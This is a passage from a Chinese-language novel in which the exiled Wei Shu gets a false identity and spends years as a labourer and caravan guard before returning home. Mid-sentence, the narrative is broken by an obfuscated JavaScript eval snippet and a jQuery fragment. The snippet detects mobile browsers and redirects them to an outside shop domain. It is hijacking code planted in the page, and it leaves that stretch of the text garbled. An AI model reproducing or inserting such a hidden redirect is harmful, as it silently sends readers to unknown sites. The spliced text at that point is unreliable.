出京后经过第一处关口，守卒看完文牒，便双手递还给我。
第二处查得就细些，问了姓名、籍贯与去向，还将落脚的客舍记在册中。到了第三处，书吏才刚展开文牒，已经有人从后堂迎出来。
“卫大人，驿馆备好了住处。”
我问：“你认识我？”
“上一个州县送来的报文里写了大人的衣着、车马，也说大人随身只带两个仆从。”那人陪着笑，“京中另有交代，大人若从此处经过，只管照常放行，沿途不得怠慢。”
“谁的交代？”
他低下头：“小人只看得到转来的公文。”
我在驿馆住了一夜。次日离开时，书吏又来问我打算往哪里去。我随口报了一座南边的城，他当着我的面写进册子，吹干墨迹，叫驿卒带走。
车夫赶出十余里，我仍能想起那张未干的纸。陆棣昤准我离京，也确实让我离开了。只要我继续用卫树这个姓名，他仍会知道我在哪一处歇宿，又从哪一处换船。
我把文牒收入怀中。宫变那日的手令也在那里，两张纸隔着衣料贴在一处。
入夏以后，南地几县遭了水灾。官道旁贴着新诏，免去两县夏税，开常仓赈粮，另从邻州调人修堤。我在县城多住了几日。
领粮的人从仓外排到街尾。书吏收竹筹，粮吏量米，每一斗倒进布袋前都让人看清。有人嫌给得少，扯着嗓子骂；也有人怕下一批粮到得迟，抱着布袋坐在墙下等。衙役催了几回，队伍仍挪得很慢。
第三日，量米的木斗裂了一角。书吏叫人换来新斗，把最后十几户重新喊回去，每户添上小半碗。
一个农人道：“这么几口米，还值当再量？”
书吏蹲下收拾洒出的米：“下个月有人来查。少一升板子就落在我身上咯。”
仓外有个老妇听见，笑着插了一句：“还得是新皇帝管得严。往年遭灾得叫我们等到饿死了。”
她的米袋散了，我替她扎紧袋口。
“米是县里发的，堤也是县里修的，怎么都算到皇帝身上？”
“上头肯开仓，下头才肯动。”老妇抱起米，“谁让我今日吃上饭，我便说谁好。”
我在仓外数过运粮的车，也去修堤处问过工钱。诏书上的数经过几层官吏，仍有损耗，仍有人借机多拿，灾民手里却确实有了米。陆棣昤坐到那个位置，确实比其他皇子好。
那天夜里，我把手令摊在灯下。
他会救这些人，也杀了父亲。他给卫氏余人留了性命，又把弑君弑兄的罪全压在父亲身上。我曾想，只要能证明他是个昏君，少年时与他同案的那些年便都可算作受骗。眼下这条想法走不通了。
我不能不恨他。
修堤处收工那日，县令带人来核工钱。他从人群前走过，到了我身边忽然停下，盯着我看了许久。
“卫公子？”
我也认出了他。
父亲镇守西边时，他已经是进士出身的文官，奉命随军办理粮册与军报，在父亲麾下待了六年。战事结束后，他辗转州县，如今正在此县任县令。我少年时常去军中，他替父亲送过军报，也教过我辨认边地舆图。随军第二年，他因一批军粮短少被人告作侵吞，是父亲查遍转运凭据，找出途中沉没的两艘粮船，替他保住了性命与官身。
“沈大人。”我按照规矩向他行礼。
他叫随从先走，将我带到修堤所用的木棚里。棚中堆着木桩与草袋，桌上还摊着当日的工名册。
“昨日州府送来驿报，说您到了此县。”沈叔把册子合上，“京中吩咐各地照常放行，也要把停留时日与去向如实报上去。您知道吗？”
“这几日才知道。”
“那您还准备拿这份文牒走多久？”
我把本名文牒放到桌上。
“正想请沈叔帮我。”
他看了一眼文牒：“想让我把报文压下？”
“报文已经到了州府，压不住。我需要另一个身份。”
沈叔走到棚口，朝堤上看了一阵。外头有人抬着空筐经过，泥浆从筐底往下滴。他等人走远才转回来。
“这场春汛冲毁了青坳村，县中清查流民时总会有失踪的”
改换身份用了数余日。沈叔找到了个失踪又跟我年龄相仿的人，从受潮的县册中抄出他原有的籍贯与年岁，再以灾后归籍的名义补造户帖。青坳村的里正与一名乡老前来作保，两人只知道县令找回了一个多年在外的村民。最后发下的文牒盖着县印，州府留存的副册里也能查到同样的姓名。
沈叔把文牒递给我，逐项问了一遍。
“父母？”
“早亡。”
“为何离乡？”
“幼年随舅父经商。
“这些年在何处？”
“跟着商队四处做活。”
“青坳村还有谁认得你？”
“里正只认得父亲的名字，旁人都已散了。”
沈叔点头：“这一份身份是从县册里接出来的，你以后可以凭它续领文牒，也能受雇、租屋。若有人直追到这里，我保不住你，自己也脱不了罪。”
“我记得。”
“还有你这口京音。”他把文牒推过来，“得改。”
“这个难。”
“扛半年货，自然会变。”
我将本名文牒、手令与几张卫氏凭信包进油布，压到箱底。宅券早已退回宫中，陆棣昤送来的两箱银，我只取了一小匣当盘缠。那些钱还够用一阵。
我辞别沈叔，搭一条商船继续南行。船上的掌柜问我会做什么
“识字，也有力气。”
他看了看我的手：“先试着搬货吧。”
第一袋米压上肩时，我还能站直。搬到第六袋，粗麻磨透衣裳，肩头火辣辣地疼。旁边的脚夫把我拦住，扯下一块厚布垫到我肩上。
“你这么使力，午后便得趴着。”
“请教下抱这米袋该如何使力？”
“你抱着它当然重。”他弯下腰，叫人把袋子搭上肩背，一只手只扶袋角，“腰别硬撑，脚也别迈大。跟着我。”
我照着做，收工时，掌柜按搬过的袋数给钱，扣去一顿饭与船舱铺位，只剩二十余枚铜钱。肩头已经磨破，夜里翻身都疼。
从前我在职方司查军粮，一石米写在册上，只占一行。真正搬起来，一行能叫人来回走许多趟。
那一程走了两个多月。我学会垫肩、捆货，也会把磨断的麻绳重新接好。船底渗水，船工教我用麻絮和桐油补缝；车板裂了，随船的木匠叫我按住木料，看他怎样下锯。起初我只能递东西，时日久了，简单的活也能自己做。
夜里有人拿家书来求我看，我替他们念完，再照着口述写回信。有人给两枚铜钱，有人请我喝一碗浊酒。我的字过于端正，常有人问我在何处读过书。我说从前替先生抄书，旁的少提。
入冬前，我随一支运茶的商队转向北边。商队缺护卫，我能骑射，所得比搬货多些；白日守车，夜里仍同众人喂马、拾柴。到了燕云地界，安国语只能在大商埠勉强用，买草料、问水源都要靠当地人。
我最先学会的是数目与牲口的称呼。第三次独自去买草，我把十捆草说成十袋盐，守草棚的妇人笑得直拍木案，又逼着我把两个词各念十遍。她说一句，我跟一句，回去以后还被同行的人笑了半个月。
再往北，商队里的人教我修缰绳、补毡靴，也教我听风雪来前牲口的叫声。有人从马背摔伤，我还跟牧人学了固定肩臂与处置脱臼。我替他们看安国商契，他们替我纠正燕云话。骂人的句子总学得最快，议价次之，能同人好好说一件事，反倒花了两年。
有匹老马蹄缝进了碎石，几日都不肯着地。我把石粒挑净，又用油脂护住裂处。养马的少年问我从谁那里学来，我用燕云话答：“我父亲。”
他说我的发音古怪，又把“父亲”两个字教了一遍。
我跟着重念。那一刻，卫慬终于只是个教儿子照料战
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17779771|203305||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
马的人。京中的诏书写不到这里，燕云少年也无须知道什么叛臣。
离开燕云以后，我跟商队进了瑞国。瑞国商埠的船比安国多，货栈也大。码头按件计钱，船坞按日雇人，谁做得快，领到的钱便多些。可货价一跌，前一日还在做工的人，第二日便会被赶出来。
我在船坞做过杂工，学着刨木、架绞盘和补船缝。瑞国领工只肯说本国语，头一个月，我连几时收工都要看别人动作。工钱、工期、木料和伤药，这些词用得最多，也学得最快。两年以后，我能替新来的安国工人看懂工契，遇见领工少算钱，也能用瑞国语同他争几句。
我也给一处织场守过夜。东家原先按日给钱，半年后忽然改成按匹计，断丝与坏梭都要从工钱里扣。二十几个织工约好停工，天亮时全坐在廊下，织机一架也未响。
午时，东家叫人抬出两袋米，说谁先回去做活，谁便能先支三日口粮。五个人起了身。他们的家里已经断炊，旁人看着，也说不出拦阻的话。熬到傍晚，又有七个人进了织房。第三日还坐在廊下的只剩九个，东家收回新定的工钱，也辞掉了领头的三个人。
那几日我领的是东家给的钱，夜里也确实替他守着织场。可他趁夜运米进去时，我把米袋数目告诉了廊下的人。织工保住原来的工钱，我也被一同辞掉。
此后我在药铺抄过外来药材的货单，在货栈守夜，也替船上的木工打过下手。会的事渐渐多了，大都只够处理眼前的小麻烦，遇上熟手，仍得站在旁边学。
一次起吊木料，绳索忽然断开，一名工人的肩膀被砸脱了臼。船坞付了当日工钱，第二日便另雇一人。大家从各自所得里留下一小份，请大夫，轮流送饭。保管钱的人私自拿过两回，很快被换掉；新换的人识字不多，每晚记完数目，都把纸摊在众人吃饭的长案上。
这些办法无人一次想全。有人只愿照管一同做工的伙伴，有人主张连失业者也分些米。为几枚铜钱，他们能吵到饭凉，第二日仍在一处拉绞盘。哪一条行不通，过几日再改。
安国的消息随着商船断断续续传来。陆棣昤整顿军饷，处置贪官，又减过几处灾年的赋税。起初我见到京中来的商人，总要问上一句。再后来，旁人说完新帝近况，我才发觉自己已经许久未曾打听。
有一回，商人问我：“先生您离开安国这么多年，看起来还很留心朝中的事？”
“家乡总在那里。”
“依您看，当今安国陛下真有传闻中那样勤政吗？”
我原想答，他从少年时便如此。话到了嘴边，只道：“我在南地见过一次赈粮，大多确实能发到百姓手里。”
“那安国有福了。”
我捏着酒杯，过了一会儿才应道：“百姓能得好处，自然好。”
我仍无法宽宥他。只是离京越久，我越少去想他若肯解释，该说些什么。父亲活不过来，陆棣昤的答案，无论是什么，都只能留在那座宫城里。
瑞国又有一支商队要去京城时，领队问我可有家书托送。我铺开纸，迟迟未落笔，最后只替同船的工人写了两封信。
那天夜里，我将手令和本名文牒重新包好，放到木箱最底下。第二日仍去船坞做工。
几年后，我沿江回到安国。燕云话许久不用，已经生疏；瑞国语还算熟练，遇见商人能替人问价。我会护送、写契，也会做些木活，船上的小毛病大多能应付。腰间的银钱是这些年一点点挣下的，数目算不上多。
船到姑苏，我原想住一季再走。下船那日，一个脚夫踩空，手臂撞上木桩，坐在地上直冒汗。我替他托住手肘，将脱开的关节接了回去，又用布带吊在胸前。
他缓过气，问我怎样称呼。
那个假名字我已经熟练得用了许多年，不知为何，我却答道：“卫树。
第二日清早，那人带着两个同伴和一包米糕来客舍。进后院时，我刚收拳。
“卫先生，你会拳脚？”他放下米糕，朝院中指了指，“这个能教人吗？”